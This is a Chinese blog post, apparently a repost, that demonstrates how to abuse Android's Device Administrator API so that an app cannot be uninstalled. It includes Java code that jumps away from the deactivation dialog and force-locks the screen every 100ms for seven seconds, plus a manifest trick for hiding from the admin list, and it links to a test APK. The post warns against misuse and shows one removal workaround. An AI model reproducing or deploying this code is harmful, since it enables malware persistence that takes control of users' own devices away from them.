1. 程式人生 > >編寫一個無法解除安裝的App – 裝置管理器漏洞

編寫一個無法解除安裝的App – 裝置管理器漏洞

https://mp.weixin.qq.com/s?__biz=MzA3MDMyMjkzNg==&mid=211618188&idx=1&sn=4b08a3058b7d4861b5ade7024a02266e&scene=2&srcid=0915Dfg09vdhx4XRzLEM7ket&from=timeline&isappinstalled=0&key=dffc561732c22651f679f6aa86fccd3d6cee744a7f35eeff644d3c0dd5156a63a0352478fd660b3ca2d929afb9fbda39&ascene=2&uin=MTA5MzM0OTEwMA%3D%3D&devicetype=iPhone+OS7.1.2&version=16020313&nettype=WIFI&fontScale=100&pass_ticket=xFospPMFMbdCekSQHNAXb%2FA%2BuZKk60HwzxQ5181P7r2nL03CCMlcYCzuFd4%2BkrKR

前兩天某朋友發現手機有個app無法解除安裝,後知其因裝置管理器啟用導致,遂去嘗試取消,但卻在取消那刻卡機。反覆折騰之後,只能重刷。後來他發了一篇關於裝置管理器bug的文章給我,便有了如下一番折騰。

嚐鮮

文章《Android 學習 裝置管理器勾選後不能再取消了》(作者:帶個回家)大致意思是:

繼承 DeviceAdminReceiver 重寫 onDisableRequested(Context context, Intent intent) 即可達到目的。

@Override

public CharSequence onDisableRequested(Context context, Intent intent) {

// 這裡處理 不可編輯裝置。

Intent intent2 = new Intent(context, NoticeSetting.class);

intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(intent2);

context.stopService(intent);// 是否可以停止

return ""; // "這是一個可選的訊息,警告有關禁止使用者的請求";

}

在此之前,我並沒有接觸過裝置管理器的功能,參考了 API Guides 的 Device Administration ,以及 DeviceAdminReceiver 的 API 後,試著寫了一個跟上述文章一樣的 app,4.4 & 5.0均測試失敗,可以正常取消啟用。

再戰

搜尋,找到《Android裝置管理器漏洞》(作者:Jack_Jia)另一篇講解此問題的文章。文章提到:

如果想在裝置管理器列表中”隱身“,只要不註冊 android.app.action.DEVICE_ADMIN_ENABLED 廣播就行。

也就是不給 intent-filter 標籤設定該 action。

<receiver

android:name=".MyDeviceReceiver"

android:description="@string/receiver_description"

android:label="@string/app_name"

android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data

android:name="android.app.device_admin"

android:resource="@xml/device_manager_policies" />

<intent-filter>

</intent-filter>

</receiver>

4.4 & 5.0測試失敗,裝置管理器無法啟用(程式碼啟用不會彈出,裝置管理器又找不到)。

三戰

繼續搜尋,發現百度安全實驗室一篇文章《Android裝置管理器漏洞2》。文章提到:

已啟用裝置管理器許可權的手機木馬利用該漏洞,可以在設定程式的裝置管理器列表中隱藏,這樣使用者就無法通過正常途徑取消該手機木馬的裝置管理器許可權,從而達到無法解除安裝的目的。Android4.2版本以上系統已經修復該漏洞。

通過呼叫stopAppSwitch()方法,系統保證在進入取消裝置管理器介面後,5秒內不會進行Activity的切換。

onDisableRequested函式滿足以下條件即可:

1、返回內容不能為空,這樣才可以使裝置管理器彈出取消啟用裝置管理器警示資訊 Dialog。

2、通過Activity切換的方式使裝置管理器彈出的警示資訊Dialog消失。使使用者無法操作Dialog。

如果做到以上兩點,程式即可成功阻止使用者取消啟用裝置管理器操作。

故,只要在 onDisableRequested 方法中,讓使用者在取消啟用時5s內無法操作介面,然後採取 Activity 切換的方法即可繞開取消啟用的步驟。這裡為了測試直觀並且試一試裝置管理器的 api,採用了百度提供的連續鎖屏法。測試環境為5.0。

故,只要在 onDisableRequested 方法中,讓使用者在取消啟用時5s內無法操作介面,然後採取 Activity 切換的方法即可繞開取消啟用的步驟。這裡為了測試直觀並且試一試裝置管理器的 api,採用了百度提供的連續鎖屏法。測試環境為5.0。

public CharSequence onDisableRequested(Context context, Intent intent) {

//跳離當前詢問是否取消啟用的 dialog

Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");

outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startActivity(outOfDialog);

//呼叫裝置管理器本身的功能,每 100ms 鎖屏一次,使用者即便解鎖也會立即被鎖,直至 7s 後

final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);

dpm.lockNow();

new Thread(new Runnable() {

@Override

public void run() {

int i = 0;

while (i < 70) {

dpm.lockNow();

try {

Thread.sleep(100);

i++;

} catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}).start();

return "";

}

安裝後開啟直接跳轉啟用介面:


一旦啟用則無法正常解除安裝


進入裝置管理器介面


嘗試取消啟用


強制進入鎖屏


至此,使用者用普通方法無法解除安裝該app。測試使用某數字軟體可以解除安裝,具體步驟:在數字軟體的軟體解除安裝功能中解除安裝Trick,此時提示取消啟用,跳轉到裝置管理器介面取消啟用,引發鎖屏,強制鎖屏7s結束後,切回數字軟體,你會發現出現了取消啟用的dialog,點選取消成功。

而文章開頭提到的流氓軟體,實則是跳轉到一個所有按鈕無效的自定義全屏介面(不是我這樣跳到設定介面),使用數字軟體無法解決問題。

總結

日後看到裝置管理器啟用申請定要小心三分,本文提及內容請勿不正當使用。

相關下載

原始碼Gist

測試APK,安裝後啟用則無法解除安裝。

恢復APK,覆蓋安裝後可順利取消啟用。